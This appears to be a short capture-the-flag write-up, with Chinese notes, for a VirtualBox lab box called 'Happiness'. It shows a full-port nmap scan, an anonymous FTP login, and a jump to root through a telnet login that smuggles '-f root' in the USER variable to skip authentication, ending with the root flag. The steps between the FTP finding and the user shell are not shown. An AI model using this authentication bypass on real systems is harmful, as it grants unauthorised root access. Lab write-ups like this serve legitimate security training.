~ nmap -sVC -p- 192.168.3.51 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-24 19:45 CST Nmap scan report for 192.168.3.51 Host is up (0.0013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.3.48 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r--r--r-- 1 0 0 20 Jan 22 12:27 readme.txt 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:43:B0:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
看到ftp漏洞,采用lftp尝试登录,发现readme.txt
1 2 3 4 5 6 7 8 9 10 11 12
☁ ~ lftp 192.168.3.51 lftp 192.168.3.51:~> user ftp 密码: lftp ftp@192.168.3.51:~> user ftp 密码: lftp ftp@192.168.3.51:~> ls -la dr-xr-xr-x 2 0 0 4096 Jan 22 12:27 . dr-xr-xr-x 2 0 0 4096 Jan 22 12:27 .. -r--r--r-- 1 0 0 20 Jan 22 12:27 readme.txt lftp ftp@192.168.3.51:/> cat readme.txt http://tmpfile.dsz/ 20 bytes transferred
Eecho@Happiness:~$ USER='-f root';busybox telnet -a 127.0.0.1 23
Entering character mode Escape character is '^]'.
Linux 4.19.0-27-amd64 (localhost) (pts/1)
Last login: Thu Jan 22 23:44:10 EST 2026 from 192.168.1.12 on pts/0 Linux Happiness 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@Happiness:~# id uid=0(root) gid=0(root) groups=0(root) root@Happiness:~# cd /root root@Happiness:~# ls -l total 4 -rw-r--r-- 1 root root 44 Jan 22 12:59 root.txt root@Happiness:~# cat root.txt flag{root-b52bb1635e544c3f968822ab6c7a745d}